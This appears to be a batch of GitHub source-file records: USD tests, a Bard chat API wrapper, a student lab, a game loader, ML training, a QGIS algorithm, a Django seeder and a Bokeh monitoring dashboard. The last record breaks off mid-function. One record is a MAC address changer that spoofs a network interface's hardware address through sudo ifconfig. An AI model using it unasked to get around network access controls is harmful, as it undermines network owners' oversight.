/Class.\n instance = stage.GetPrimAtPath('/A')\n n = instance.GetPrimIndex().rootNode.children[0]\n self.assertEqual(n.arcType, Pcp.ArcTypeInherit)\n stage.SetEditTarget(Usd.EditTarget(stage.GetRootLayer(), n))\n\n # These editing operations would fail if they were authoring\n # local opinions because local overrides on descendants of\n # instances are ignored. However, because the stage's edit\n # target remaps these edits to the inherited class, these\n # operations succeed.\n instanceChild = stage.DefinePrim('/A/Child')\n self.assertTrue(instanceChild.IsInstanceProxy())\n self.assertEqual(instanceChild.GetPath(), '/A/Child')\n self.assertTrue(stage.GetRootLayer().GetPrimAtPath(\n '/Class/Child'))\n\n instanceChildAttr = instanceChild.CreateAttribute(\n 'testAttr', Sdf.ValueTypeNames.String)\n self.assertEqual(instanceChildAttr.GetPath(), '/A/Child.testAttr')\n self.assertTrue(stage.GetRootLayer().GetAttributeAtPath(\n '/Class/Child.testAttr'))\n\n self.assertTrue(instanceChildAttr.Set(\"foo\"))\n self.assertEqual(stage.GetRootLayer().GetAttributeAtPath(\n '/Class/Child.testAttr').default, \"foo\")\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"PixarAnimationStudios/OpenUSD","sub_path":"pxr/usd/usd/testenv/testUsdEditTarget.py","file_name":"testUsdEditTarget.py","file_ext":"py","file_size_in_byte":12437,"program_lang":"python","lang":"en","doc_type":"code","stars":5042,"dataset":"github-code","pt":"3"} +{"seq_id":"35552738125","text":"from fastapi import APIRouter, Request, Response\nfrom module import core, chat\n\nBard_APP = APIRouter()\n\n@Bard_APP.route('/ask', methods=['GET', 'POST'])\nasync def ask(request: Request) -> Response:\n parameter = await core.getRequestParameter(request)\n question = parameter.get('question')\n token = parameter.get('token')\n if not question:\n return core.GenerateResponse().error(110, '参数不能为空')\n\n if token:\n bot = chat.get(token).bot\n if not bot:\n return core.GenerateResponse().error(120, 'token不存在')\n else:\n token, bot = chat.generate(chat.Type.BARD)\n\n data = bot.get_answer(question)\n urls = data['links']\n imageUrls = data['images']\n urls = [url for url in urls if url not in imageUrls]\n return core.GenerateResponse().success({\n 'answer': data['content'],\n 'urls': urls,\n 'imageUrls': imageUrls,\n 'token': token\n })","repo_name":"XiaoXinYo/Chat-WebAPI","sub_path":"view/bard.py","file_name":"bard.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":52,"dataset":"github-code","pt":"3"} +{"seq_id":"10586848032","text":"# ----------------------------------------------------\r\n# I acknowledge this program is my own work. \r\n# Name: Essey Mehari\r\n# ----------------------------------------------------\r\n\r\n# In this function we are collecting input form a user indicating them to put a number between 1-5. \r\ndef get_choice():\r\n #While the condition is meant we will continue on with the program(Note to self, do not make while true for next lab)\r\n while True:\r\n try:\r\n choice = int(input(\"Please enter a number between 1 and 5: \"))\r\n if choice >= 1 and choice <= 5:\r\n return choice\r\n else:\r\n print(\"Invalid input. Please enter a number between 1 and 5.\")\r\n except ValueError:\r\n print(\"Invalid input. Please enter a number between 1 and 5.\")\r\n \r\ndef get_input(iterable):\r\n #accepts an iterable object named iterable as its parameter and returns 3-tuples back The function returns a 3-tuple: the first and secound integer and either -1 if the user entered D or 1 if the user entered A.\r\n while True:\r\n #Note to self, do not make while true for next lab)\r\n order = input(\"Please enter 'A' for ascending or 'D' for descending: \").upper()\r\n if order not in ['A', 'D']:\r\n print(\"Invalid input. Please enter 'A' for ascending or 'D' for descending.\")\r\n continue\r\n break\r\n while True:#Note to self, do not make while true for next lab)\r\n try:\r\n first_index = int(input(\"Please enter an integer between 0 and {}: \".format(len(iterable)-1)))\r\n if 0 <= first_index < len(iterable):\r\n break\r\n else:\r\n print(\"Invalid input. Please enter an integer between 0 and {}.\".format(len(iterable)-1))\r\n except ValueError:\r\n print(\"Invalid input. Please enter an integer between 0 and {}.\".format(len(iterable)-1))\r\n while True:#Note to self, do not make while true for next lab)\r\n try:\r\n second_index = int(input(\"Please enter another integer between 0 and {}: \".format(len(iterable)-1)))\r\n if 0 <= second_index < len(iterable):\r\n break\r\n else:\r\n print(\"Invalid input. Please enter another integer between 0 and {}.\".format(len(iterable)-1))\r\n except ValueError:\r\n print(\"Invalid input. Please enter another integer between 0 and {}.\".format(len(iterable)-1))\r\n return (first_index, second_index, 1 if order == 'A' else -1)\r\n\r\ndef loops(start, stop, step, iterable):#accepts four arguments and checking if start is greater than stop in the casse that it is it will switch the values\r\n if step > 0 and start > stop:\r\n start, stop = stop, start\r\n elif step < 0 and start < stop:\r\n start, stop = stop, start\r\n print('Output for \"for\" loop:') \r\n for i in range(start, stop, step):#use a for loop to display the sequence ofumbers horizontally\r\n print(i, end=' ')\r\n print()\r\n i = start\r\n print('Output for \"while\" loop:')\r\n while i != stop:#and a while loop to display the numbers horizontally.\r\n print(i, end=' ')\r\n i += step\r\n print() \r\n \r\ndef main():#This function displays a menu\r\n iterable = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]#Within this function we haveiterable objects\r\n while True:#Note to self, do not make while true for next lab)\r\n print(\"Options:\\n1. Demo 'for' and 'while' loops\")\r\n print(\"2. Display 'Option 2 selected\")\r\n print(\"3. Display 'Option 3 selected\")\r\n print(\"4. Display 'Option 4 selected\")\r\n print(\"5. Quit\\n\")\r\n choice =(input(\"Select option (1-5):\"))\r\n choice = int(choice)\r\n \r\n #gets a choice from the user, and executes that choice.\r\n if choice == 1:\r\n iterable=[0,1,2,3,4]\r\n loops(4,2,1,iterable)\r\n elif choice == 2:\r\n print(\"Option 2 selected\\n\")\r\n elif choice == 3:\r\n print(\"Option 3 selected\\n\")\r\n elif choice == 4:\r\n print(\"Option 4 selected\\n\")\r\n elif choice == 5:\r\n print(\"Goodbye\")\r\n break \r\n else:\r\n print(\"Invalid choice. Please enter a number between 1 and 5.\\n\") \r\n\r\nmain()","repo_name":"EsseyMathewosMehari/CMPT-103","sub_path":"Lab_1_EM.py","file_name":"Lab_1_EM.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9480768382","text":"import typing\nfrom collections import Counter, defaultdict\n\nfrom constants import Player, Location, Good, Tile, DEFAULT_LOCATIONS, Card\nfrom game import GameState\nfrom lib.utils import ImmutableInvertibleMapping\nfrom load.core import load_player, load_good_counter, load_exact_card, load_tile\nfrom load.location_transformer import LocationTransformer\nfrom load.phases import PhaseLoader\n\n\nclass SetupRow(object):\n def __init__(self, head: str, values: typing.Sequence[str]):\n self.head: typing.Final = '_'.join(head.upper().split())\n self.values: typing.Final = values\n\n\nclass SetupLoader(object):\n def __init__(self):\n self.players: typing.Sequence[Player] = ()\n self.tiles: typing.List[str] = []\n self.small_demand: typing.Counter[Good] = Counter()\n self.large_demand: typing.Counter[Good] = Counter()\n self.governor_location: typing.Optional[Location] = None\n self.smuggler_location: typing.Optional[Location] = None\n self.cards: typing.Sequence[Card] = ()\n\n self._location_spec: typing.Optional[str] = None\n\n @classmethod\n def load_tiles(cls, tiles: typing.Sequence[str]) -> ImmutableInvertibleMapping[Location, Tile]:\n tile_locations: typing.Dict[str, Location] = {s: Location(idx) for idx, s in enumerate(tiles, 1)}\n tile_possibilities: typing.Dict[str, typing.Set[Tile]] = {s: load_tile(s) for s in tiles}\n\n final_mapping: typing.Dict[Location, Tile] = {}\n possibility_categories: typing.MutableMapping[int, typing.Set[str]] = defaultdict(set)\n for s, possibilities in tile_possibilities.items():\n assert possibilities, f'Could not determine any tile matching \"{s}\"'\n possibility_categories[len(possibilities)].add(s)\n\n while len(final_mapping) < 16:\n solved = possibility_categories[1]\n assert len(solved) > 0, \\\n f'Unable to solve tile mapping: {[k for k, v in tile_locations.items() if v not in final_mapping]}'\n for s in solved:\n assert len(tile_possibilities[s]) == 1\n possibility_categories[1].remove(s)\n t: Tile = tile_possibilities[s].pop()\n final_mapping[tile_locations[s]] = t\n for spec, possibilities in tile_possibilities.items():\n if t in possibilities:\n possibility_categories[len(possibilities)].remove(spec)\n possibility_categories[len(possibilities)].add(spec)\n tile_possibilities[spec].remove(t)\n\n return ImmutableInvertibleMapping(final_mapping)\n\n def load_row(self, setup_row: SetupRow):\n if setup_row.head == 'NAMES':\n return\n if setup_row.head == 'ORDER':\n self.players = tuple(map(load_player, setup_row.values))\n return\n if setup_row.head == 'GOVERNOR':\n assert len(setup_row.values) == 1\n self.governor_location = Location(int(setup_row.values[0]))\n return\n if setup_row.head == 'SMUGGLER':\n assert len(setup_row.values) == 1\n self.smuggler_location = Location(int(setup_row.values[0]))\n return\n if setup_row.head == 'SMALL_MARKET':\n assert len(setup_row.values) == 1\n self.small_demand = load_good_counter(setup_row.values[0])\n return\n if setup_row.head == 'LARGE_MARKET':\n assert len(setup_row.values) == 1\n self.large_demand = load_good_counter(setup_row.values[0])\n return\n if setup_row.head == 'CARDS':\n self.cards = tuple(load_exact_card(v.replace(' ', '')) for v in setup_row.values)\n return\n if setup_row.head == 'LOCATION_SPEC':\n assert len(setup_row.values) == 1\n self._location_spec = setup_row.values[0].title()\n return\n if setup_row.head == 'TILE_LOCATIONS':\n assert len(setup_row.values) == 4\n assert len(self.tiles) < 13\n # Remove apostrophes from tile names\n self.tiles += [s.replace(\"'\", \"\") for s in setup_row.values]\n return\n\n def create_phase_loader(self) -> PhaseLoader:\n if not self.tiles:\n location_map = DEFAULT_LOCATIONS\n else:\n location_map = self.load_tiles(self.tiles)\n\n assert self._location_spec in {LocationTransformer.ROLL_SPEC, LocationTransformer.DIRECT_SPEC}, \\\n f'Unknown location spec {self._location_spec}'\n location_transformer = LocationTransformer(self._location_spec, location_map)\n\n assert 0 < len(self.players) == len(self.cards) <= 5, 'Improper number of players/cards'\n assert len(set(self.players)) == len(self.players), 'Players not unique'\n player_hands = dict(zip(self.players, self.cards))\n\n assert self.governor_location is not None and self.smuggler_location is not None, \\\n 'Missing location of governor or smuggler'\n governor_location = location_transformer.apply(self.governor_location)\n smuggler_location = location_transformer.apply(self.smuggler_location)\n\n assert sum(self.small_demand.values()) == sum(self.large_demand.values()) == 5, 'Missing large or small demand'\n\n game_state = GameState(\n self.players,\n location_map,\n self.small_demand,\n self.large_demand,\n governor_location,\n smuggler_location,\n player_hands,\n )\n\n return PhaseLoader(game_state, location_transformer)\n","repo_name":"nverhaaren/istanbul-game","sub_path":"load/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":5597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18383530589","text":"import pickle\nfrom math import log\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom sklearn.model_selection import train_test_split\n\nfrom Utility.Get_dataset_clean_function import download_data_from_blob, upload_data_in_blob\n\n\ndef get_confusion_matrix(y_test, y_pred):\n cm = confusion_matrix(y_test, y_pred)\n print(cm)\n print(classification_report(y_test, y_pred))\n\n\ndef model_training() -> None:\n # telechargement du dataset\n df = download_data_from_blob('data_for_model_2022.csv', 'filestorage')\n\n # index passe en colonnes sont retiré\n df.drop(labels=['Unnamed: 0'], inplace=True, axis=1)\n\n # log la valeur fonciere pour avoir un ecart type moins grand\n df['log_val'] = df.loc[:, 'valeur_fonciere'].apply(lambda lbd: log(lbd))\n\n # Sauvegarde la distribution des données et les classes en 4 classes 0-25% , 25-50%, 50-75% et 75-100%.\n desc = df.describe()\n premier_quartier = desc.loc['25%', 'log_val']\n deuxieme_quartier = desc.loc['50%', 'log_val']\n troisieme_quartier = desc.loc['75%', 'log_val']\n\n # definition des classes\n df.loc[df['log_val'] <= premier_quartier, 'log_class'] = 0\n df.loc[(df['log_val'] > premier_quartier) & (df['log_val'] <= deuxieme_quartier), 'log_class'] = 1\n df.loc[(df['log_val'] > deuxieme_quartier) & (df['log_val'] <= troisieme_quartier), 'log_class'] = 2\n df.loc[(df['log_val'] > troisieme_quartier), 'log_class'] = 3\n\n x = df.drop(labels=['valeur_fonciere', 'log_val', 'log_class'], axis=1)\n y = df['log_class']\n\n x_train, x_test, y_train, y_test = train_test_split(x, y, train_size=0.7, random_state=42)\n\n forest = RandomForestClassifier(n_estimators=1000, # Number of trees\n max_features=2, # Num features considered\n bootstrap=False)\n forest.fit(x_train, y_train)\n\n y_pred = forest.predict(x_test)\n get_confusion_matrix(y_pred, y_test)\n\n\n test = pickle.dumps(forest)\n upload_data_in_blob(test, 2022, 'modelstorage')\n\n #output = 'model_C.bin'\n #with open(output,'wb') as f_out:\n # pickle.dump(forest,f_out)\n","repo_name":"Paul-JD/P.O.C","sub_path":"Utility/Model_training_function.py","file_name":"Model_training_function.py","file_ext":"py","file_size_in_byte":2193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31385427621","text":"# -*- coding: utf-8 -*-\n\"\"\"\nInaSAFE Disaster risk assessment tool developed by AusAid / DFAT -\n**New Metadata for SAFE.**\n\nContact : etienne@kartoza.com\n\n.. note:: This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\"\"\"\n\nfrom PyQt4.QtGui import QIcon\nfrom qgis.core import (\n QGis,\n QgsFeature,\n QgsFeatureRequest,\n QgsGeometry,\n QgsField,\n QgsPoint)\nfrom PyQt4.QtCore import QVariant\nfrom processing.core.GeoAlgorithm import GeoAlgorithm\nfrom processing.core.parameters import ParameterVector, ParameterTableField\nfrom processing.core.outputs import OutputVector\nfrom processing.tools.dataobjects import getObjectFromUri\nfrom processing.tools.vector import spatialindex, features\n\nfrom safe.routing.core.middle import split_middle\nfrom safe.utilities.resources import resources_path\n\n\nclass AllocateEdges(GeoAlgorithm):\n \"\"\"Allocate an IDP to each edges.\"\"\"\n\n LINES = 'LINES'\n POINTS = 'POINTS'\n FIELD = 'FIELD'\n OUTPUT = 'OUTPUT'\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n self.lines_layer = None\n self.points_layer = None\n self.idx_points = None\n GeoAlgorithm.__init__(self)\n\n def defineCharacteristics(self):\n \"\"\"Setting algorithm parameters.\"\"\"\n self.name = 'Allocate edges'\n self.group = 'Routing'\n\n self.addParameter(ParameterVector(\n self.LINES, 'Lines', [ParameterVector.VECTOR_TYPE_LINE], False))\n self.addParameter(ParameterVector(\n self.POINTS, 'Points', [ParameterVector.VECTOR_TYPE_POINT], False))\n self.addParameter(ParameterTableField(\n self.FIELD, self.tr('IDP ID'), self.POINTS))\n\n self.addOutput(OutputVector(self.OUTPUT, 'Edges'))\n\n def getIcon(self):\n \"\"\"Set the icon.\"\"\"\n icon = resources_path('img', 'icons', 'icon.svg')\n return QIcon(icon)\n\n # pylint: disable=arguments-differ\n def processAlgorithm(self, progress):\n \"\"\"Core algorithm.\n\n :param progress: The progress bar.\n :type progress: QProgressBar\n\n :raise GeoAlgorithmExecutionException\n \"\"\"\n lines_layer = self.getParameterValue(self.LINES)\n self.lines_layer = getObjectFromUri(lines_layer)\n points_layer = self.getParameterValue(self.POINTS)\n self.points_layer = getObjectFromUri(points_layer)\n field = self.getParameterValue(self.FIELD)\n index_field = self.points_layer.fieldNameIndex(field)\n\n fields = [QgsField(field, QVariant.Int)]\n\n writer = self.getOutputFromName(self.OUTPUT).getVectorWriter(\n fields,\n QGis.WKBLineString,\n self.lines_layer.crs())\n\n self.idx_points = spatialindex(self.points_layer)\n\n selection = features(self.lines_layer)\n current = 0\n total = 100.0 / float(len(selection))\n\n for edge in selection:\n geometry = edge.geometry()\n\n # noinspection PyCallByClass\n point_start = QgsGeometry.fromPoint(\n QgsPoint(geometry.asPolyline()[0]))\n feature_start = self.nearest_exit(point_start)\n # noinspection PyCallByClass\n point_end = QgsGeometry.fromPoint(\n QgsPoint(geometry.asPolyline()[-1]))\n feature_end = self.nearest_exit(point_end)\n\n idp_start = feature_start.attributes()[index_field]\n idp_end = feature_end.attributes()[index_field]\n\n if idp_start == idp_end:\n edge.setAttributes([idp_start])\n writer.addFeature(edge)\n else:\n geom = geometry.asPolyline()\n split = split_middle(geom)\n for idp, part in zip([idp_start, idp_end], split):\n f = QgsFeature()\n f.setAttributes([idp])\n new_geom = [QgsPoint(p[0], p[1]) for p in part]\n # noinspection PyCallByClass\n f.setGeometry(QgsGeometry.fromPolyline(new_geom))\n writer.addFeature(f)\n\n current += 1\n progress.setPercentage(int(current * total))\n\n del writer\n\n def nearest_exit(self, point):\n results = self.idx_points.nearestNeighbor(point.asPoint(), 5)\n minimum = None\n feature = None\n\n for result in results:\n request = QgsFeatureRequest().setFilterFid(result)\n f = self.points_layer.getFeatures(request).next()\n dist = f.geometry().distance(point)\n if dist < minimum or minimum is None:\n minimum = dist\n feature = f\n return feature\n","repo_name":"inasafe/SafeRouting","sub_path":"inasafe_processing/routing/allocate_edges.py","file_name":"allocate_edges.py","file_ext":"py","file_size_in_byte":4816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40636270533","text":"import random\nfrom django.core.management.base import BaseCommand\nfrom django_seed import Seed\nfrom notices.models import Notice\nfrom users.models import User\n\n\nclass Command(BaseCommand):\n\n help = \"This command will create users\"\n\n def add_arguments(self, parser):\n parser.add_argument(\n \"--number\", default=1, type=int, help=\"How many usersdo you want to create?\"\n )\n\n def handle(self, *args, **options):\n number = options.get(\"number\")\n seeder = Seed.seeder()\n users = User.objects.all()\n manager = []\n for m in users:\n if m.manager is True:\n manager.append(m)\n\n seeder.add_entity(Notice, number, {\"writer\": lambda x: random.choice(manager)})\n seeder.execute()\n self.stdout.write(self.style.SUCCESS(f\"{number} notices created\"))\n","repo_name":"ncms0820/Happyhouse_me","sub_path":"notices/management/commands/seed_notices.py","file_name":"seed_notices.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75334965842","text":"import argparse\nimport re\nimport subprocess\n\n\ndef process_arguments():\n parser = argparse.ArgumentParser(description='Change your MAC address')\n parser.add_argument('interface', help='Interface to change the MAC address of')\n parser.add_argument('mac', help='MAC address to change your MAC to')\n\n try:\n return list(vars(parser.parse_args()).values())\n except IOError:\n parser.error('Error')\n\n\ndef change_mac(args):\n subprocess.run(['sudo', 'ifconfig', args[0], 'down'])\n subprocess.run(['sudo', 'ifconfig', args[0], 'hw', 'ether', args[1]])\n subprocess.run(['sudo', 'ifconfig', args[0], 'up'])\n\n\ndef get_mac(args):\n ifconfig_result = str(subprocess.check_output(['ifconfig', args[0]]), 'utf-8')\n mac_address = re.search(r'\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w', ifconfig_result)\n\n if mac_address:\n return mac_address.group(0)\n else:\n print('Could not find original MAC address')\n\n\ndef check_arguments(args):\n check_interface = subprocess.Popen(['ifconfig', args[0]], stderr=subprocess.STDOUT, stdout=subprocess.PIPE)\n check_interface.communicate()\n\n if check_interface.returncode != 0:\n print('Interface is invalid')\n return False\n else:\n check_mac = re.search(r'\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w:\\w\\w', args[1])\n\n if not check_mac:\n print('MAC Address is invalid')\n return False\n\n return True\n\n\narguments = process_arguments()\n\nif check_arguments(arguments) is True:\n original_mac = get_mac(arguments)\n change_mac(arguments)\n current_mac = get_mac(arguments)\n\n if current_mac == arguments[1]:\n print('Changed MAC address on', arguments[0], 'from', original_mac, 'to', current_mac)\n else:\n print('Unknown error!')\n","repo_name":"bagreen/NetworkSecurityTools","sub_path":"MAC_Changer.py","file_name":"MAC_Changer.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38825195591","text":"import requests\nimport os\n\nfrom bokeh.layouts import column, row\nfrom bokeh.models import ColumnDataSource, HoverTool, Range1d, Select, NumeralTickFormatter, LinearAxis, Legend, \\\n Paragraph, Plot, Text\nfrom bokeh.plotting import figure\n\nimport pandas as pd\nfrom datetime import datetime, timedelta\nimport json\nimport operator\nimport numpy as np\n\nHEADERS = {'Accept': 'application/json', 'Content-Type': 'application/json; charset=utf-8',\n 'http-equiv': \"Content-Security-Policy\", 'content': \"upgrade-insecure-requests\"}\n\nACCURACY_MONITOR_ENDPOINT = os.environ.get('ACCURACY_MONITOR_ENDPOINT')\n\nglobal target_data\n\n\ndef accuracy_over_time(doc):\n global target_data\n arg = doc.session_context.request.arguments\n inferenceName = arg['inference_name'][0].decode('utf8')\n target_metric = arg['target_metric'][0].decode('utf8')\n\n info_url = ACCURACY_MONITOR_ENDPOINT + \"/accuracy-monitor/monitor-info\" + \"/\" + inferenceName\n info_params = {\n 'model_history_id': arg['model_history_id'][0].decode('utf8'),\n }\n\n info_response = requests.get(info_url, params=info_params, headers=HEADERS)\n if info_response.status_code >= 400:\n # todo 인포를 못받아올 경우\n info = False\n target = \"\"\n else:\n info_json = json.loads(info_response.text)\n info_data = eval(info_json['data'])\n model_type = info_data['model_type']\n info = True\n\n if model_type == 'Regression':\n target = 'rmse'\n elif model_type == 'Binary':\n target = 'tpr'\n else:\n # todo multiclass\n target = 'logloss'\n\n if target_metric != \"\":\n target = target_metric\n\n parse = {\n 'model_history_id': arg['model_history_id'][0].decode('utf8'),\n 'start_time': arg['start_time'][0].decode('utf8'),\n 'end_time': arg['end_time'][0].decode('utf8'),\n 'type': 'timeline'\n }\n\n data_url = ACCURACY_MONITOR_ENDPOINT + \"/accuracy-monitor/accuracy\" + \"/\" + inferenceName\n response = requests.get(data_url, params=parse, headers=HEADERS)\n\n if response.status_code >= 400 or info is False or str(response.text).find(\"No data\") >= 0:\n # plot = figure(sizing_mode=\"fixed\",\n # min_width=1200,\n # max_width=2000,\n # height=400, )\n # select = Select(value=\"metric\", width=200)\n #\n # plot.toolbar_location = None\n # plot.toolbar.active_drag = None\n # plot.xaxis.axis_label = \"Time of Prediction\"\n # plot.yaxis.axis_label = target\n # plot.xgrid.grid_line_color = None\n #\n # title_ = Paragraph(text=\"Accuracy Over Time\", align=\"center\", styles={\"font-size\": \"16px\"})\n # layout = row([title_, select])\n #\n # doc.add_root(column(layout, plot))\n x = [0, 1, 2]\n y = [1, 0, 2]\n text = [\n \"There are no predictions in the selected date range, update the range filter or click reset to return to the default date range.\",\n \"\", \"\"]\n source = ColumnDataSource(dict(x=x, y=y, text=text))\n\n plot = Plot(title=None, toolbar_location=None, sizing_mode=\"fixed\", min_width=1200, max_width=2000,\n height=400)\n\n glyph = Text(x=\"x\", y=\"y\", text=\"text\")\n plot.add_glyph(source, glyph)\n\n doc.add_root(plot)\n else:\n t = response.text\n response_df = eval(t)\n\n df_data = response_df['data']\n df = eval(df_data)\n\n actual_df = df['actual']\n\n base_df = df['base']\n\n x_list = list(df['date'])\n\n actual_df = pd.DataFrame(actual_df).replace(\"N/A\", np.nan)\n metric_list = actual_df.keys().tolist()\n metric_list.remove('count')\n\n if model_type == \"Regression\":\n metric_list.remove('average_predicted')\n metric_list.remove('average_actual')\n elif model_type == \"Binary\":\n metric_list.remove('percentage_predicted')\n metric_list.remove('percentage_actual')\n\n x_list = [datetime.strptime(x_list[i], \"%Y-%m-%dT%H:%M:%S.%fZ\") for i in range(len(x_list))]\n if len(x_list) >= 2:\n term = x_list[1] - x_list[0]\n else:\n term = x_list[0] - x_list[0]\n delta_list = []\n for i in range(len(x_list)):\n delta_list.append(x_list[i] + term)\n\n actual_df.insert(0, \"x_value\", x_list)\n actual_df.insert(0, \"delta_value\", delta_list)\n\n data = get_data_source(actual_df, target)\n\n source = ColumnDataSource(data=data)\n\n base_source = ColumnDataSource(dict(x=[0], y=[base_df[target]]))\n\n def select_metric(value, old, new):\n global target_data\n target = new\n update_data = get_data_source(actual_df, target)\n base_update_data = get_base_data_source(base_df, target)\n\n t_l = plot.select_one({'name': 'circle'})\n s_l = plot.select_one({'name': 'line'})\n base_l = base_plot.select_one({'name': 'base_circle'})\n\n # t_l.data_source.data['y_value'] = target_data\n t_l.data_source.data = update_data\n s_l.data_source.data = update_data\n base_l.data_source.data = base_update_data\n # s_l.data_source.data['y_value'] = target_data\n base_plot.yaxis.axis_label = target\n base_plot.y_range = plot.y_range\n\n select = Select(value=target, options=metric_list, width=200)\n select.on_change(\"value\", select_metric)\n\n plot = figure(\n # x_range=FactorRange(factors=x_list),\n x_axis_type=\"datetime\",\n sizing_mode=\"stretch_width\",\n min_width=1200,\n max_width=2000,\n height=400,\n )\n base_plot = figure(height=400, width=150)\n\n title_ = Paragraph(text=\"Accuracy Over Time\", align=\"center\", styles={\"font-size\": \"16px\"})\n layout = row([title_, select])\n layout2 = row([base_plot, plot])\n\n base_plot.yaxis[0].formatter = NumeralTickFormatter(format='0.000 a')\n\n plot.circle(x=\"x\", y=\"y\", source=source, size=8, color='green', fill_alpha=0.5, line_color=\"green\",\n name=\"circle\")\n\n base_plot.circle(x=\"x\", y=\"y\", source=base_source, size=8, color='green', fill_alpha=0.5, line_color=\"green\",\n name=\"base_circle\")\n\n line = plot.line(x=\"x\", y=\"y\", source=source, name='line', hover_alpha=1)\n plot.vbar_stack(['vbar1', 'vbar2'], x='x', source=source) # 그래프 형태를위한 더미 그래프\n base_plot.vbar_stack(['vbar1', 'vbar2'], x='x', source=base_source, width=0)\n\n hover_tool = HoverTool(tooltips=[\n # (\"date\", \"$x{%F} ~ $x{%F}\"),\n (\"date\", \"@x{%Y-%m-%d:%H} ~ @delta_x{%Y-%m-%d:%H}\"),\n (\"value\", \"@y{0.000 a}\"),\n # (\"value2\", \"@count\")\n\n ],\n renderers=[line],\n formatters={\n \"@x\": \"datetime\",\n \"@delta_x\": \"datetime\"\n },\n mode='vline',\n # muted_policy=\"ignore\",\n point_policy=\"snap_to_data\",\n line_policy=\"nearest\",\n show_arrow=False\n )\n\n base_hover_tool = HoverTool(tooltips=[\n (\"value\", \"@y{0.000 a}\")\n ])\n base_plot.y_range = plot.y_range\n\n # plot.xgrid.grid_line_color = None\n plot.toolbar_location = None\n plot.toolbar.active_drag = None\n # plot.xaxis.axis_label = \"Scoring\"\n # plot.yaxis.axis_label = target\n plot.xgrid.grid_line_color = None\n plot.yaxis.visible = False\n plot.add_tools(hover_tool)\n\n base_plot.toolbar_location = None\n base_plot.toolbar.active_drag = None\n # base_plot.xaxis.axis_label = \"Training\"\n base_plot.yaxis.axis_label = target\n base_plot.xgrid.grid_line_color = None\n # base_plot.xaxis.visible = False\n base_plot.xaxis.major_label_text_font_size = \"0px\"\n base_plot.xaxis.major_tick_line_color = \"white\"\n base_plot.xaxis.minor_tick_line_alpha = 0\n base_plot.add_tools(base_hover_tool)\n\n doc.add_root(column(layout, layout2))\n\n\ndef predicted_actual(doc):\n arg = doc.session_context.request.arguments\n inferenceName = arg['inference_name'][0].decode('utf8')\n\n info_url = ACCURACY_MONITOR_ENDPOINT + \"/accuracy-monitor/monitor-info\" + \"/\" + inferenceName\n info_params = {\n 'model_history_id': arg['model_history_id'][0].decode('utf8'),\n }\n\n info_response = requests.get(info_url, params=info_params, headers=HEADERS)\n if info_response.status_code >= 400:\n # todo 인포를 못받아올 경우\n info = False\n else:\n info_json = json.loads(info_response.text)\n info_data = eval(info_json['data'])\n model_type = info_data['model_type']\n info = True\n binary_thres = False\n if model_type == \"Binary\":\n if \"binary_threshold\" in info_data:\n binary_thres = True\n positive_class = info_data[\"positive_class\"]\n negative_class = info_data[\"negative_class\"]\n binary_threshold = info_data[\"binary_threshold\"]\n\n parse = {\n 'model_history_id': arg['model_history_id'][0].decode('utf8'),\n 'start_time': arg['start_time'][0].decode('utf8'),\n 'end_time': arg['end_time'][0].decode('utf8'),\n 'type': 'timeline'\n }\n\n data_url = ACCURACY_MONITOR_ENDPOINT + \"/accuracy-monitor/predicted-actual\" + \"/\" + inferenceName\n response = requests.get(data_url, params=parse, headers=HEADERS)\n if response.status_code >= 400 or info is False or str(response.text).find(\"No data\") >= 0:\n # plot = figure(sizing_mode=\"fixed\",\n # min_width=1200,\n # max_width=2000,\n # height=400, )\n #\n # title_ = Paragraph(text=\"Predicted & Actual\", align=\"center\", styles={\"font-size\": \"16px\"})\n # layout = row([title_])\n #\n # plot.toolbar_location = None\n # plot.toolbar.active_drag = None\n # plot.xaxis.axis_label = \"Time of Prediction\"\n # plot.yaxis.axis_label = \"Percentage of Records\"\n # plot.xgrid.grid_line_color = None\n #\n # doc.add_root(column(layout, plot))\n x = [0, 1, 2]\n y = [1, 0, 2]\n text = [\n \"There are no predictions in the selected date range, update the range filter or click reset to return to the default date range.\",\n \"\", \"\"]\n source = ColumnDataSource(dict(x=x, y=y, text=text))\n\n plot = Plot(title=None, toolbar_location=None, sizing_mode=\"fixed\", min_width=1200, max_width=2000,\n height=400)\n\n glyph = Text(x=\"x\", y=\"y\", text=\"text\")\n plot.add_glyph(source, glyph)\n\n doc.add_root(plot)\n else:\n t = response.text\n response_df = eval(t)\n\n df_data = response_df['data']\n df = eval(df_data)\n data = df['data']\n date = df['date']\n base = df['base']\n\n count = []\n total_count = []\n predicted = []\n actual = []\n\n for i in data:\n count.append(i['count'])\n total_count.append(i['total_count'])\n if model_type == \"Regression\":\n predicted.append(i['average_predicted'])\n actual.append(i['average_actual'])\n base_source = ColumnDataSource(\n dict(x=[0], pre=[base[\"average_predicted\"]], act=[base[\"average_actual\"]]))\n elif model_type == \"Binary\":\n predicted.append(i['percentage_predicted'])\n actual.append(i['percentage_actual'])\n\n base_source = ColumnDataSource(\n dict(x=[0], pre=[base[\"percentage_predicted\"] / 100], act=[base[\"percentage_actual\"] / 100]))\n else:\n pass\n date = [datetime.strptime(date[i], \"%Y-%m-%dT%H:%M:%S.%fZ\") for i in range(len(date))]\n if len(date) >= 2:\n 